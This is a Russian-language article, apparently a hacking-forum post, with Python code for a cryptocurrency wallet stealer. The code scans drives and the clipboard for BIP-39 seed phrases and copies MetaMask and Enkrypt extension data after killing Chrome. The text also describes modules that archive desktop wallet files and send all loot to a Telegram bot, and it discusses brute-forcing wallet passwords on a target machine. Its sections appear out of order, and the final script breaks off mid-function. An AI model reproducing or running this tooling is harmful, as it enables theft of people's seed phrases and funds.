Начинается всё с основной логики поиска, которая опирается на регулярное выражение SEED_PATTERN, взятое из примера в начале статьи, но я добавил важную функциональность.
А именно проверку найденных фраз на соответствие словам из списка BIP-39:
Для этого написал функцию load_bip39_words, которая загружает список слов из файла bip-0039_english.txt и превращает его в множество для быстрого поиска. Затем функция is_valid_bip39_phrase проверяет каждую найденную фразу, убеждаясь, что все слова есть в этом списке. Если хоть одно слово не из BIP-39, фраза отбрасывается.
Дальше я переосмыслил чтение файлов. В исходном примере функции для работы с разными форматами были встроены прямо в код, но я вынес их в отдельный словарь FILE_READERS, где для каждого расширения файла определена соответствующая функция:
Функции read_text_file, read_docx_file и read_pdf_file остались похожими, но я упростил обработку ошибок чтобы сосредоточиться на основном функционале.
Функция check_file тоже получила апгрейд:
В примере она напрямую добавляла результаты в очередь, но я сделал ее более модульной, передав results_queue как параметр. Логика проверки строк на соответствие шаблону осталась прежней, но теперь она учитывает валидность фраз через is_valid_bip39_phrase.
Что касается сканирования директорий, функция scan_directory в моем коде осталась похожей на исходную, но я убрал зависимость от многопоточности и модуля concurrent.futures, чтобы упростить структуру.
Модуль get_plugin_wallet.py
Теперь разберу get_plugin_wallet.py — модуль, который отвечает за поиск плагинов браузерных кошельков вроде MetaMask и Enkrypt. Его я построил на основе примера из раздела статьи о поиске плагинов криптокошельков, но доработал, чтобы он стал чище и удобнее.
Для начала я переработал функцию locate_extension_by_keyword:
До этого функция locate_extension_by_keyword использовала os.listdir и os.path для работы с файлами, а также включал обработку исключений. Обработку ошибок при чтении manifest.json я убрал, так как в большинстве случаев файл либо существует и читаем, либо его нет, и лишние логи только загромождают вывод.
Сортировку профилей Chrome, учитывающую “Default”, я сохранил, но сделал через list comprehension для компактности. Главные изменения коснулись обработки профилей и расширений.
К примеру, вынес логику обработки каждого профиля в отдельную функцию process_profile_wallet, принимающую очередь для результатов:
В исходнике вся логика была в функции create_backup, что делало код тяжёлым. Я выделил обработку в отдельную функцию process_profile_wallet, которая принимает профиль и очередь для результатов. Она проверяет папки Chrome, ищет расширения по ID, а если их нет, зовёт locate_extension_by_keyword. Данные из папок, таких как IndexedDB или Local Extension Settings, копируются во временную папку, названную по текущей дате и времени. Я добавил dirs_exist_ok=True в shutil.copytree, чтобы избежать ошибок при существующих папках. Всё пакуется в ZIP-архив, путь к которому отправляется в очередь, а временная папка удаляется.
Модуль get_wallets_file.py
Перейдём к get_wallets_file.py — модулю, который я написал с нуля, чтобы искать файлы десктопных криптокошельков и паковать их в архивы для отправки.
Вот код:
Модули построен вокруг четырёх функций, каждая из которых заточена под конкретный кошелёк: check_and_archive_exodus, check_and_archive_electrum, check_and_archive_armory и check_and_archive_sparrow. Все они следуют одной логике: находят папку кошелька в C:/Users/<имя_пользователя>/AppData/Roaming, проверяют, есть ли там нужные файлы, и запаковывают их в ZIP-архив, который сохраняется рядом со скриптом.
Каждая функция немного отличается, учитывая особенности кошельков. Для Exodus код проверяет папку exodus.wallet и смотрит, есть ли файл passphrase.json. Если он есть, значит, кошелёк не запаролен, и архив называется no_encrypt_exodus.zip, иначе — encrypt_exodus.zip. Для Electrum я предусмотрел два пути: стандартную папку wallets и testnet/wallets, ведь кошелёк может хранить данные в обеих. Код обходит их, добавляя все файлы в electrum_wallets.zip, и проверяет, является ли путь папкой или отдельным файлом, чтобы ничего не упустить. Armory обрабатывается чуть иначе: скрипт ищет в папке Armory только файлы с расширениями *.wallet и *.lmdb, чтобы не тащить лишнего, и пакует их в armory_wallets.zip. Sparrow — самый простой: все файлы из папки wallets без разбора идут в sparrow_wallets.zip, сохраняя структуру папок.
Модуль telegram_bot.py
Теперь разберу telegram_bot.py — компактный, но важный модуль, который я написал, чтобы отправлять найденные seed-фразы и файлы кошельков прямо в Telegram-чат.
Сам код:
Модуль построен вокруг одной асинхронной функции send_to_telegram, которая берёт на вход путь к файлу с seed-фразами и список путей к архивам кошельков.
Модуль main.py
Настало время разобрать центральный модуль main, который управляет всем процессом поиска seed-фраз. Он запускает сканирование, распределяет задачи и отправляет полученые данные в Telegram.
Скрипт начинается с импорта необходимых модулей и настройки логов для отслеживания процесса. Логирование настраивается через logging.basicConfig с уровнем INFO, чтобы фиксировать время, уровень и сообщения. Две очереди — results_queue и wallet_results — создаются для хранения результатов поиска seed-фраз и данных кошельков. Также определён набор игнорируемых путей, таких как \windows и \system volume information, чтобы не тратить время на системные директории.
Аргументы командной строки обрабатываются так:
Это позволяет задать количество потоков для ускорения поиска или выбрать режим: искать всё, только seed-фразы, плагины браузерных кошельков или файлы десктопных кошельков. Например, для 12 потоков: python main.py --threads 12.
Нужны только плагины? Тогда:
Диски для поиска определяются функцией get_drives:
Она использует psutil, чтобы найти все подключённые диски с файловой системой, такие как C:\ или D:\, и логирует их для прозрачности.
Затем функция enqueue_directories наполняет очередь папками для сканирования:
Код проверяет папку Users на каждом диске, добавляет пользовательские директории в очередь, а также включает другие каталоги верхнего уровня, пропуская системные пути через функцию should_ignore_path, которая сверяется с набором IGNORED_PATHS.
Для браузерных кошельков вызывается get_chrome_profiles:
Она строит путь к данным Chrome в пользовательской папке и передаёт его в discover_profiles из модуля get_plugin_wallet, находя профили, такие как Default или Profile 1, для поиска данных плагинов кошельков.
Основная логика запускается в асинхронной функции main:
Она инициирует поиск, наполняет очередь папками с дисков и определяет профили Chrome, логируя их. Далее, в зависимости от режима, вызывается одна из функций.
Например, для режима all работает search_all:
Здесь kill_chrome_processes останавливает процессы Chrome, чтобы избежать конфликтов. ThreadPoolExecutor запускает многопоточный поиск seed-фраз через scan_for_seeds, передавая очередь папок и результатов. Профили Chrome обрабатываются через process_profile_wallet, а затем асинхронно вызывается search_wallet_file для поиска файлов десктопных кошельков.
Для режима seed-фраз:
Для плагинов кошельков:
Для файлов кошельков:
Каждая функция использует потоки, распределяя задачи, такие как сканирование seed-фраз или архивация файлов кошельков Exodus, Electrum, Armory и Sparrow.
Функция save_results сохраняет результаты
Она записывает seed-фразы из очереди в файл searcher_seed.txt, логируя каждую запись, собирает пути к архивам плагинов Chrome из wallet_results и добавляет архивы десктопных кошельков через collect_wallet_file_archives, которая ищет файлы вроде *_exodus.zip или electrum_wallets.zip в директории скрипта.
В конце main: вызывает save_results для создания файлов searcher_seed.txt и списка архивов, а затем send_to_telegram асинхронно отправляет всё в Telegram, завершая процесс.
Пример совместной работы модулей инструмента
Мы с вами разобрались, как работают модули моего инструмента, и теперь я покажу, как они действуют вместе, чтобы ты понял, что происходит на каждом шаге.
Допустим, ты вводишь команду:
После её ввода процесс запускается. Всё начинается в модуле main. Сначала он смотрит на твою команду и понимает: ты хочешь найти всё — seed-фразы, данные десктопных кошельков и плагины — и использовать для этого два потока. Потом main начинает подготовку: он ищет все доступные диски, например, C:\ и D:\, и для каждого собирает список папок, которые нужно проверить. Он заглядывает в папку %Users%, добавляет все пользовательские директории, вроде папок разных пользователей, и включает другие папки верхнего уровня, но пропускает системные, такие как %Windows%, чтобы не тратить время зря.
Дальше начинается поиск seed-фраз. Main передаёт список папок в модуль seed_searcher, и тут два потока берутся за дело одновременно. Они открывают папки, проверяют файлы с расширениями, такими как .txt, .docx или .pdf, и читают их содержимое строка за строкой. Каждая строка сравнивается с шаблоном, который ищет наборы из 12–24 слов. Если что-то похоже на seed-фразу, модуль проверяет, все ли слова из списка BIP-39, чтобы убедиться, что это настоящая фраза. Подходящие находки, вместе с путями к файлам, где они лежат, отправляются в специальную очередь. Один поток, например, роется в папке Documents, а другой — в Downloads, и, если попадаются новые папки, они тоже добавляются в очередь для проверки.
Когда поиск фраз заканчивается, main переключается на десктопные кошельки. Он зовёт модуль get_wallets_file, где каждая функция провряет один кошелек. Одна функция проверяет папку Exodus и смотрит, есть ли там файл passphrase.json. Если он есть, данные пакуются в архив no_encrypt_exodus.zip, если нет — в encrypt_exodus.zip. Другая функция обходит папки Electrum, и собирает все файлы в electrum_wallets.zip. Следующая ищет файлы Armor и складывает их в armory_wallets.zip. Последняя функция забирает всё из папки Sparrow и делает архив sparrow_wallets.zip. Все эти архивы сохраняются рядом со скриптом, чтобы потом их можно было отправить.
Параллельно main выясняет, какие профили Chrome есть на компьютере, находя, например, Default и Profile 1, чтобы проверить их на плагины. Когда доходит очередь до браузерных кошельков, main сначала останавливает все процессы Chrome, чтобы файлы не были заняты.
Затем модуль get_plugin_wallet берёт эти профили и начинает поиск. Он смотрит папки расширений, ищет MetaMask и Enkrypt по их уникальным ID, а если их нет, проверяет файлы manifest.json, выискивая ключевые слова. Найденные данные, например, из папок IndexedDB для Enkrypt или Local Extension Settings для MetaMask, копируются во временную папку. Потом всё это упаковывается в ZIP-архивы, которые называются с указанием времени и профиля, вроде wallet_plugins_20250609_1625_Default.zip. Эти архивы кладутся в очередь, а временные папки удаляются, чтобы не оставлять следов.
Когда всё готово, main собирает результаты. Он берёт очередь с seed-фразами и записывает их в файл searcher_seed.txt, добавляя путь к каждому файлу и саму фразу, чтобы ты знал, где что найдено. Потом он собирает все архивы: сначала берёт пути к архивам плагинов из очереди, затем добавляет архивы десктопных кошельков, которые находит по названиям, вроде *_exodus.zip. Теперь всё подготовлено для отправки. Модуль telegram_bot включается в работу: он берёт файл с фразами и список архивов, открывает каждый и отправляет в Telegram-чат, который указан в настройках. Файл searcher_seed.txt уходит с подписью "Found seed phrases", а архивы — с подписью "Found wallet plugins".
Теперь расскажу, как запускать скрипт
Для начала нужно установить необходимые библиотеки:
Чтобы посмотреть список аргументов, используйте команду:
Вывод:
Она выведет описание: доступные режимы (all, search_seed, search_plugen_wallets, search_wallet_file) и параметр --threads для задания числа потоков (по умолчанию 8).
Для теста можно запустить скрипт в режиме all с двумя потоками:
Вывод:
Это выполнит полный поиск: seed-фразы на дисках, плагины браузерных кошельков в профилях Chrome и файлы десктопных кошельков
После запуска проверяем файлы в боте:
Также можно запускать инструмент для отдельных задач.
Ищет только seed-фразы в папках дисков и шлет их в бот:
Обрабатывает только плагины браузерных кошельков в профилях Chrome:
Отправляет в бот файлы десктопных кошельков:
По умолчанию используется 8 потоков, но вы можете изменить это, добавив, например, --threads 4.
Вывод
На этом всё, в этой статье мы с вами разобрались, как работают seed-фразы и как их можно найти на компьютере.
Я начал с основ: что такое seed-фраза, зачем она нужна и как стандарты BIP-39, BIP-32 и BIP-44 превращают набор слов в ключи и адреса для твоих криптокошельков.
На практике мы прошлись по поиску seed-фраз в файлах, буфере обмена и даже в зашифрованных данных кошельков. Я показал, как писать скрипты на Python для сканирования текстовых файлов, PDF и документов Word, как ловить фразы в реальном времени через буфер и как искать следы браузерных кошельков, таких как MetaMask и Enkrypt, в профилях Chrome. Я рассказал про десктопные кошельки вроде Exodus, разобрав, где они прячут данные и как их можно перенести или попытаться вскрыть.
Для автоматизации я показал, как создать модульный инструмент: от поиска фраз по регуляркам и проверки их по списку BIP-39 до архивации данных кошельков и отправки всего в Telegram-бота.
Надеюсь, вам было полезно! Это только первая часть. Во второй статье мы разберём, как защитить свои seed-фразы, чтобы никто не добрался до ваших монет. Вы узнаете, как правильно хранить фразы, избегать утечек и какие ловушки подстерегают в мире крипты.
Источник https://xss.pro
В этой статье я решил временно отложить тему фингерпринтинга и углубиться в область, связанную с криптой, а именно рассказать о seed-фразах. Это набор слов, которые работают как мастер-пароль к твоему криптокошельку, а значит, к твоим кровно заработанным (или, может, не совсем заработанным) монетам. Потому если кто-то получит seed фразу, прощай, денежки — они уйдут быстрее, чем ты успеешь моргнуть.
Я задумал две статьи: в этой первой разберём, как искать эти фразы на компе. Покажу всё — от простого поиска в текстовых файлах до того, как брутить пароли кошельков, чтобы вытащить зашифрованные фразы. Плюс разберём, как сгенерировать seed-фразы для брутфорса. А для любителей автоматизации я объясню, как написать простую программу, которая сама сканирует комп и отправляет найденные фразы в Telegram бота.
А во второй части расскажу, как защитить свои seed-фразы, чтобы никто не добрался до твоих денег.
Погнали разбираться!
Зачем нужна seed-фраза?
Seed-фраза — это ключ к восстановлению кошелька, если ты потерял доступ. Сломался комп, украли телефон, снёс приложение — не беда. Вводишь фразу в новый кошелёк, и всё твоё добро на месте. Но есть подвох: любой, у кого есть эта фраза, может сделать то же самое. Поэтому хранить её нужно так, будто от этого зависит твоя жизнь. А вот тут начинаются проблемы, потому что люди частенько действуют бездумно.
Что такое seed-фраза и как она устроена?
Прежде чем рассказать, как искать seed-фразы, давай разберёмся, что они из себя представляют и как работают.
Seed-фраза — это набор слов, обычно 12, 18 или 24, созданный по стандарту BIP-39, который используется почти во всех криптокошельках. У BIP-39 есть список из 2048 слов, и каждое слово во фразе несёт часть зашифрованной информации. Каждое слово связано с числом, а их порядок имеет ключевое значение. Например, 12 слов дают 128 бит данных плюс проверочный кусочек, чтобы убедиться, что фраза правильная. Вместе эти слова образуют код, который с помощью алгоритма PBKDF2 превращается в мастер-ключ. PBKDF2 многократно перемешивает данные, создавая надёжный ключ. Этот мастер-ключ отвечает за генерацию всех приватных ключей, которые открывают доступ к твоим биткоинам, эфиру или другим монетам.
Как из мастер-ключа получаются ключи?
Теперь о том, как из мастер-ключа получаются ключи для разных адресов кошелька. Тут в игру вступают стандарты BIP-32 и BIP-44. BIP-32 позволяет из одного мастер-ключа создавать целое дерево ключей. Каждый ключ в этом дереве отвечает за отдельный адрес кошелька. Это удобно: вместо хранения кучи ключей ты держишь одну seed-фразу, из которой можно восстановить всё.
Например, путь в этом дереве может выглядеть как m/0'/0/0, где m мастер-ключ, а числа обозначают уровни: аккаунт, тип адреса и его номер:
Получение seed фразы, сохраненной на ПК
Теперь, когда мы разобрались, как работают seed-фразы, пора поговорить о том, как их можно найти.
Поиск seed фраз лежащих в открытом виде
Начну с поиска seed-фраз на компьютере и покажу, как написать скрипт на Python, который будет искать фразы и выводить результаты.
Иногда пользователи хранят свои seed-фразы в файлах прямо на ПК, а некоторые криптокошельки без установки пароля сохраняют их в открытом виде. Для поиска таких фраз я решил использовать регулярные выражения и библиотеки для работы с файлами различных форматов, чтобы охватить все возможные места хранения — такие как текстовые документы, PDF и файлы Word, где пользователи могли небрежно сохранить свои фразы.
Мой код:
Python:
import re
import concurrent.futures
from pathlib import Path
import docx
import PyPDF2
from queue import Queue
import logging
import psutil
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
num_threads = 8
seed_pattern = re.compile(r'^\b[a-z]{3,}\b(?:\s+\b[a-z]{3,}\b){11,23}\s*$', re.IGNORECASE)
EXTENSIONS = {'.txt', '.md', '.csv', '.log', '.json', '.xml', '.docx', '.pdf'}
SYSTEM_IGNORE = {r'\windows', r'\system volume information'}
results_queue = Queue()
def read_text_file(file_path):
try:
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
return f.readlines()
except Exception as e:
logging.debug(f"Error reading {file_path}: {e}")
return []
def read_docx_file(file_path):
try:
doc = docx.Document(file_path)
return [para.text for para in doc.paragraphs]
except Exception as e:
logging.debug(f"Error reading {file_path}: {e}")
return []
def read_pdf_file(file_path):
try:
with open(file_path, 'rb') as f:
reader = PyPDF2.PdfReader(f)
text = []
for page in reader.pages:
if page_text := page.extract_text():
text.extend(page_text.split('\n'))
return text
except Exception as e:
logging.debug(f"Error reading {file_path}: {e}")
return []
def check_file(file_path):
ext = file_path.suffix.lower()
lines = {
**{ext: read_text_file for ext in {'.txt', '.md', '.csv', '.log', '.json', '.xml'}},
'.docx': read_docx_file,
'.pdf': read_pdf_file
}.get(ext, lambda _: [])(file_path)
for line in lines:
if line.strip() and (match := seed_pattern.match(line)):
results_queue.put((file_path, match.group().strip()))
logging.info(f"Found seed phrase in {file_path}: {match.group().strip()}")
def is_ignored_path(path):
return any(ignore in str(path).lower() for ignore in SYSTEM_IGNORE)
def scan_directory(directory, root_dir_queue):
try:
for item in directory.iterdir():
if item.is_file() and item.suffix.lower() in EXTENSIONS:
check_file(item)
elif item.is_dir() and not is_ignored_path(item):
root_dir_queue.put(item)
except (PermissionError, OSError) as e:
logging.debug(f"Error accessing {directory}: {e}")
def process_root_directory(root_dir_queue):
while True:
try:
root_dir = root_dir_queue.get_nowait()
scan_directory(root_dir, root_dir_queue)
root_dir_queue.task_done()
except Queue.Empty:
break
def get_all_drives():
return [Path(drive.mountpoint) for drive in psutil.disk_partitions() if drive.fstype]
def main():
logging.info("Starting seed phrase search...")
root_dir_queue = Queue()
for drive in get_all_drives():
try:
users_dir = drive / "Users"
if users_dir.is_dir() and not is_ignored_path(users_dir):
for user_dir in users_dir.iterdir():
if user_dir.is_dir() and not is_ignored_path(user_dir):
root_dir_queue.put(user_dir)
for item in drive.iterdir():
if item.is_dir() and item != users_dir and not is_ignored_path(item):
root_dir_queue.put(item)
except (PermissionError, OSError) as e:
logging.debug(f"Error accessing {drive}: {e}")
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
executor.map(process_root_directory, [root_dir_queue] * num_threads)
logging.info("Search completed. Results:")
while not results_queue.empty():
file_path, seed_phrase = results_queue.get()
print(f"File: {file_path}\nSeed phrase: {seed_phrase}\n")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
logging.info("Search interrupted by user.")
Проверяем работу:
Сначала мой код определяет наличие всех доступных дисков, чтобы охватить все возможные места хранения. Потом собирает список папок для проверки — вроде пользовательских директорий (\Users на Windows) и других папок верхнего уровня, но системные, вроде \Windows или \System Volume Information, пропускает, чтобы не тратить время. Для каждой папки код проверяет файлы с расширениями .txt, .md, .csv, .log, .json, .xml, .docx и .pdf, так как именно в таких файлах пользователи чаще всего могут сохранять seed-фразы.
Когда находит нужный файл, код читает его: текстовые файлы — построчно, с учётом проблем с кодировкой, .docx разбирает на абзацы, PDF-ки листает по страницам разбивая текст на строки.
Далее скрипт анализирует каждую строку в файлах, используя для этого регулярное выражение. Это регулярное выражение специально разработано для поиска seed-фраз формата BIP-39. Такие фразы обычно состоят из 12-24 слов, разделённых пробелами, причём каждое слово представляет собой последовательность букв.
Когда скрипт находит строку, которая соответствует этому паттерну, он сразу же сохраняет её. В результаты попадает как сама потенциальная seed-фраза, так и полный путь к файлу, откуда она была извлечена. Все эти действия фиксируются в логе, что позволяет отслеживать процесс и видеть, какие строки были распознаны. Использование регулярных выражений довольно эффективно. Оно позволяет достаточно точно отсеивать большую часть обычного текста, сосредоточившись на поиске именно того формата данных, который характерен для seed-фраз. Конечно, даже с таким методом иногда возникают нюансы. Например, регулярное выражение может обнаружить последовательность слов, которая по формату совпадает с seed-фразой, но на самом деле таковой не является.
Именно поэтому я рекомендую после получения результатов обязательно сверять найденные фразы со словарём BIP-39 уже на своём компьютере. Изначально я рассматривал вариант использования словаря на целевом компьютере, но быстро понял, что это нецелесообразно и может быть рискованно.
Чтобы код работал быстрее, он использует восемь потоков (число задано в переменной num_threads, его можно изменить). Потоки одновременно проверяют seed-фразы в папках, обрабатывая их по очереди. Если находится новая папка, она добавляется в очередь для проверки. Если возникает ошибка, например "нет доступа", код записывает её в лог для отладки и продолжает работу. По завершению работы код выдаёт все найденные seed-фразы с указанием файлов.
В качестве бонуса я решил написать небольшой Python-скрипт, который просеивает найденные seed-фразы, проверяя, соответствуют ли они словарю BIP-39, и выводит только валидные.
Вот сам код:
Python:
import re
def load_bip39_words():
with open('bip-0039_english.txt', 'r', encoding='utf-8') as file:
return {word.strip().lower() for word in file if word.strip()}
def is_valid_bip39_phrase(phrase, bip39_words):
words = phrase.split()
return len(words) in {12, 18, 24} and all(word.lower() in bip39_words for word in words)
def read_seed_phrases():
bip39_words = load_bip39_words()
valid_phrases = []
with open('seeds.txt', 'r', encoding='utf-8') as file:
content = file.read()
matches = re.finditer(r'Seed phrase: (.*?)(?=\n\n|$)', content, re.DOTALL)
for match in matches:
phrase = match.group(1).strip()
if is_valid_bip39_phrase(phrase, bip39_words):
valid_phrases.append(phrase)
return valid_phrases
def main():
valid_phrases = read_seed_phrases()
if valid_phrases:
print("Валидные фразы, соответствующие словарю BIP-39:")
for phrase in valid_phrases:
print(phrase)
else:
print("Валидных фраз не найдено.")
if __name__ == "__main__":
main()
Основная логика лежит в read_seed_phrases. Эта функция читает файл seeds.txt, где хранятся найденные фразы, и использует регулярное выражение, чтобы вытащить строки, идущие после “Seed phrase:” до двойного переноса строки или конца файла. Для каждого совпадения она проверяет фразу на соответствие BIP-39, и, если всё ок, добавляет её в список валидных фраз. Потом, если валидные фразы нашлись, скрипт выводит их на экран. Если же список пуст, скрипт честно сообщает, что ничего подходящего нет.
Отслеживание seed фраз в буфере
Помимо очевидного способа искать seed-фразы по файлам на компе, можно замахнуться на кое-что поинтереснее — а именно проверять буфер обмена. Люди частенько копируют свои фразы, чтобы вставить их в кошелёк или перекинуть куда-то ещё, и это открывает возможность поймать фразу прямо на лету.
Я написал простенький скрипт на Python, который следит за буфером и ловит seed-фразы, как только они там появляются:
Python:
import re
import pyperclip
import time
import logging
from datetime import datetime
logging.basicConfig(
filename="seed_phrases.log",
level=logging.INFO,
format="%(asctime)s - %(message)s"
)
seed_pattern = re.compile(r'^\b[a-z]{3,}\b(?:\s+\b[a-z]{3,}\b){11,23}\s*$', re.IGNORECASE)
def check_clipboard():
try:
clipboard_content = pyperclip.paste()
if clipboard_content and seed_pattern.match(clipboard_content):
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
message = f"Found seed phrase: {clipboard_content}"
print(message)
logging.info(message)
except Exception as e:
logging.error(f"Error: {e}")
def main():
print("Clipboard monitoring has been started. Press Ctrl+C to stop.")
last_content = ""
while True:
try:
current_content = pyperclip.paste()
if current_content != last_content:
check_clipboard()
last_content = current_content
time.sleep(1)
except KeyboardInterrupt:
print("\nMonitoring has been stopped.")
break
except Exception as e:
logging.error(f"Error in loop: {e}")
time.sleep(1)
if __name__ == "__main__":
main()
Проверяем:
Мой код использует библиотеку pyperclip, чтобы каждую секунду заглядывать в буфер обмена. Как только там оказывается текст, скрипт проверяет его с помощью регулярного выражения, которое ищет цепочку из 12–24 слов, состоящих только из букв и разделённых пробелами. Если фраза найдена, скрипт тут же выводит её в консоль, записывает в лог с временной меткой. Лог пишется в файл seed_phrases.log, так что всё, что найдено, сохраняется (на практике можно к примеру отправлять найденные фразы на сервер). Чтобы не грузить систему, скрипт сравнивает текущее содержимое буфера с предыдущим — если ничего не изменилось, он не тратит силы на повторную проверку.
Поиск seed фразы в крипто кошельках
Я уже рассказал, как искать seed фразы в файлах на компе или из буфера обмена, когда пользователь копирует их. Но давай начистоту: в большинстве случаев никто не хранит эти фразы в файле на рабочем столе с названием "мои_биточки.txt". Чаще всего seed-фраза находиться внутри криптокошелька, надёжно (или не совсем надёжно) зашифрованная. И вот тут начинается самое интересное — как добраться до этого ключа, который открывает доступ к чужим (или твоим, если ты забыл пароль) монетам?
В кошельках вроде MetaMask, Trust Wallet или Electrum эти фразы обычно хранятся в зашифрованном виде, спрятанные за паролем или пин-кодом. Но шифрование — это не всегда очень критично, особенно если пользователь ленится придумывать нормальный пароль или кошелёк имеет свои уязвимости. Cейчас я разберу, как работают самые популярные плагины криптокошельки для ПК, где они прячут seed-фразы и как можно попытаться их вытащить — от брутфорса паролей до анализа файлов данных кошелька.
Крипто кошельки – в виде расширений для браузеров
Для начала разберёмся, как искать криптокошельки в Google Chrome — самом популярном браузере. Я буду рассматривать только Chrome, так как в других браузерах процесс сложнее. В качестве примера возьмём популярный кошелёк MetaMask и менее известный Enkrypt.
Поиск и перенос плагинов кошельков
Chrome хранит данные расширений — пароли, куки, настройки — в локальной базе данных, которая обычно зашифрована. Без ключа расшифровки к этим данным не подобраться. Однако на первом этапе нам не нужно влезать в шифрование: достаточно проверить, установлен ли нужный плагин. Это можно сделать через уникальный ID расширения, который Chrome присваивает каждому плагину.
Например, ID MetaMask — nkbihfbeogaeaoehlefnkodbefgpgknn, а Enkrypt (поддерживает ETH, BTC, Solana) — kkpllkodjeloidieedojogacfhpaihoh. Чтобы узнать, установлен ли плагин, заглянем в папку C:\Users\<Имя_пользователя>\AppData\Local\Google\Chrome\User Data\Default\Extensions. Если там есть папка с соответствующим ID, кошелёк установлен.
Но есть небольшая проблема: иногда ID плагина может измениться, например, если плагин установлен в режиме разработчика или при нестандартных настройках Chrome. В таком случае поиск по фиксированному ID ненадёжен. Решение — обойти все папки в C:\Users\<Имя_пользователя>\AppData\Local\Google\Chrome\User Data\Default\Extensions, проверяя manifest.json на наличие ключевых слов, таких как "MetaMask" или "Enkrypt". В этом JSON-файле в полях name или description обычно указаны названия, например, "MetaMask" или "Enkrypt: ETH, BTC and Solana Wallet". Это более надёжный способ, так как название плагина редко меняется, в отличие от ID. Также можно проверять поле permissions, где могут быть указаны характерные для кошельков запросы, такие как доступ к storage или webRequest.
Но вот мы и наши кошелек, а что дальше? Как извлечь или перенести данные?
Данные кошельков хранятся в базе LevelDB, файлах с расширением .ldb.
LevelDB — это библиотека от Google, созданная для хранения больших объёмов данных с высокой скоростью чтения и записи. Она работает так: данные сначала пишутся в журнал (.log), а потом компактируются в отсортированные таблицы (.ldb), которые хранят пары ключ-значение в виде байтовых массивов. Эти таблицы разбиты на уровни, что ускоряет поиск и минимизирует фрагментацию на диске. LevelDB не поддерживает сложные запросы, как SQL, но для кошельков это и не нужно — там хранятся зашифрованные seed-фразы, приватные ключи и настройки.
Прочитать данные из LevelDB напрямую — задача нетривиальная, ну точнее прочитать можно, и там даже могут быть какие-то незашифрованные данные, но все важные поля вроде seed-фразы зашифрованы. Они зашифрованы с использованием алгоритмов, специфичных для каждого кошелька, и ключ шифрования обычно связан с паролем пользователя. Честно говоря, расшифровать seed-фразу — это та ещё головная боль, и тут я, увы, не помощник. Но есть интересный способ обойти это, если цель — просто перенести кошелёк на другой компьютер и там сбрутить его.
Лайфхак в том, что можно скопировать файлы LevelDB и перенести их на другой ПК. И, как ни странно, это работает!
Для Enkrypt база данных лежит в
Код:
C:\Users\<Имя_пользователя>\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_kkpllkodjeloidieedojogacfhpaihoh_0.indexeddb.leveldb.
Для Metamask данные находятся в
Код:
C:\Users\<Имя_пользователя>\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn.
В этих папках лежат файлы .ldb, .log и иногда манифесты, которые содержат всю информацию о кошельке. Я сам был удивлён, когда скопировал эти файлы на другой компьютер, установил Chrome с тем же плагином, заменил файлы в нужной папке, и кошелёк импортировался. Но есть подвох: кошелёк всё равно запросит пароль, без которого доступ к средствам невозможен. Если пароля нет, придётся его подбирать, но это уже другая история, связанная с брутфорсом.
Бьюсь об заклад, любой мой читатель, который хоть раз работал с Chrome, пытаясь расшифровать пароли или провернуть другие тёмные делишки, сейчас сидит и думает: «Погоди-ка, а почему это вообще работает? Chrome же обычно привязывает всё к аккаунту или даже к конкретному компу»
А всё просто, LevelDB, который Chrome использует для хранения данных расширений, — это просто кучка файлов, которые не привязаны к твоему железу. Chrome использует их как хранилище для расширений, и если структура папок совпадает, плагин воспринимает данные как свои. Но есть риски: несовместимость версий Chrome или плагина может сломать всё, так что будьте осторожны.
Скрипт для автоматизации поиска и переноса плагинов
Чтобы автоматизировать процесс поиска и копирования плагинов, я написал Python-скрипт, который ищет плагины кошельков по их ID, находит их базы данных и добавляет всё в архив.
Вот код:
Python:
import os
import shutil
import zipfile
import getpass
import json
from datetime import datetime
import subprocess
def kill_chrome_processes():
try:
subprocess.run(["taskkill", "/F", "/IM", "chrome.exe"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print("Chrome processes terminated.")
except Exception as e:
print(f"Failed to kill Chrome processes: {e}")
def locate_extension_by_keyword(keyword, base_path):
for extension_id in os.listdir(base_path):
path_to_extension = os.path.join(base_path, extension_id)
if not os.path.isdir(path_to_extension):
continue
for version in os.listdir(path_to_extension):
manifest_file = os.path.join(path_to_extension, version, "manifest.json")
if not os.path.isfile(manifest_file):
continue
try:
with open(manifest_file, "r", encoding="utf-8") as mf:
content = json.load(mf)
if keyword.lower() in json.dumps(content).lower():
print(f"Match for '{keyword}' found in ID: {extension_id}")
return extension_id
except Exception as err:
print(f"Couldn't read {manifest_file}: {err}")
return None
def discover_profiles(chrome_data_path):
candidates = os.listdir(chrome_data_path)
profiles = [p for p in candidates if os.path.isdir(os.path.join(chrome_data_path, p))
and (p.startswith("Profile ") or p == "Default")]
return sorted(profiles, key=lambda name: name if name != "Default" else "z") or ["Default"]
def create_backup():
user = getpass.getuser()
chrome_path = f"C:\\Users\\{user}\\AppData\\Local\\Google\\Chrome\\User Data"
known_extensions = {
"Enkrypt": "kkpllkodjeloidieedojogacfhpaihoh",
"Metamask": "nkbihfbeogaeaoehlefnkodbefgpgknn"
}
time_marker = datetime.now().strftime("%Y%m%d_%H%M%S")
scratch_dir = f"temp_{time_marker}"
os.makedirs(scratch_dir, exist_ok=True)
located = []
try:
profiles = discover_profiles(chrome_path)
anything_found = False
for prof in profiles:
ext_root = os.path.join(chrome_path, prof, "Extensions")
db_paths = {
"Enkrypt": os.path.join(chrome_path, prof, f"IndexedDB\\chrome-extension_{known_extensions['Enkrypt']}_0.indexeddb.leveldb"),
"Metamask": os.path.join(chrome_path, prof, f"Local Extension Settings\\{known_extensions['Metamask']}")
}
if not os.path.exists(ext_root):
continue
print(f"Scanning profile: {prof}")
anything_found = True
for name, eid in known_extensions.items():
extension_dir = os.path.join(ext_root, eid)
db_path = db_paths[name]
if not os.path.exists(extension_dir):
actual_id = locate_extension_by_keyword(name, ext_root)
if actual_id:
known_extensions[name] = actual_id
extension_dir = os.path.join(ext_root, actual_id)
db_path = db_path.replace(eid, actual_id)
print(f"{name} found in {prof}, ID updated: {actual_id}")
else:
print(f"{name} not present in {prof}")
continue
if os.path.exists(db_path):
located.append(name)
target = os.path.join(scratch_dir, f"{name}_{prof}")
os.makedirs(target, exist_ok=True)
